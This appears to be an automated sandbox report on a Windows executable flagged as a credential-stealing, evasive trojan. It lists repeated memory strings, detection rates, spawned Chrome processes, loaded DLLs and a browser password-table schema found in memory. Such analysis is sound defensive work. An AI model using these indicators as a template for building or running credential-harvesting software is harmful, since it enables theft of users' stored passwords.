Source: 7jKx8dPOEs.exe, 00000000.00000003.2505789621.0000000005BD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2511486633.0000000005D25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536378508.0000000005687000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2518665909.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2514473458.0000000005C39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2518220066.0000000005D80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510500885.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504551090.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504849320.0000000005B1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2514145965.0000000005D3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536507932.0000000000F9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2508237038.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2512747349.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2517356264.0000000005D92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2519773793.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506457299.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504358812.0000000005BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2516342385.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2512478622.0000000005B20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2501932546.0000000005916000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2516557432.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2502191815.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506928372.0000000005CA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506564865.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2502002170.0000000005776000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536598717.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2508883099.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536146957.0000000005736000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2505544057.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2516867427.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2505665449.0000000005B18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2518821090.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510998061.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513042883.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000002.2673109000.0000000005DD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2502282852.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510864949.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2517022201.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504068904.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2514324395.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2511323347.0000000005C18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506781571.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2515208565.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510128449.0000000005C09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2508732562.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510368440.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2512619702.0000000005C2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507127413.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2505920623.0000000005C8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000002.2673923467.0000000006086000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507297817.0000000005BF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507869499.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506103896.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2502094699.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504261508.0000000005B18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503514802.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2510702235.0000000005D00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2517889550.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504633171.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503897313.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513820779.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507575073.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2509172258.0000000005C03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2509490752.0000000005B22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2507995139.0000000005CD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2520571562.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2508547257.0000000005B22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2512255957.0000000005C33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504956747.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2518969712.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2511647016.0000000005B25000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506671922.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503707647.0000000005B1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2505037794.0000000005C91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2506323764.0000000005BE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2536200578.00000000056AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2520395772.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2505417082.0000000005B16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2509354108.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2511862319.0000000005C29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2509716640.0000000005C06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2517170374.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2504164810.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2519292125.0000000005B24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513501373.0000000005C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2511159549.0000000005B1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2509044673.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2515459431.0000000005D62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2517652547.0000000005B18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2516722112.0000000005B1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2520131220.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2512059967.0000000005B23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2514766926.0000000005B17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2503614406.0000000005BC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe
Source: 7jKx8dPOEs.exe, 00000000.00000003.2513975795.0000000005C29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 7jKx8dPOEs.exe

Source: 7jKx8dPOEs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7jKx8dPOEs.exe

Static PE information: Section: ZLIB complexity 0.9996042687908496

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@9/5

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7jKx8dPOEs.exe, 00000000.00000003.2097819227.000000000569A000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2123691085.00000000056A5000.00000004.00000800.00020000.00000000.sdmp, 7jKx8dPOEs.exe, 00000000.00000003.2097966312.000000000567E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 7jKx8dPOEs.exe	Virustotal: Detection: 58%
Source: 7jKx8dPOEs.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe

File read: C:\Users\user\Desktop\7jKx8dPOEs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7jKx8dPOEs.exe "C:\Users\user\Desktop\7jKx8dPOEs.exe"
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1972,i,9469854108246391747,18434014596652358452,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=608 --field-trial-handle=2004,i,11654548030049873312,17207828134689624259,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7jKx8dPOEs.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1972,i,9469854108246391747,18434014596652358452,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=608 --field-trial-handle=2004,i,11654548030049873312,17207828134689624259,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
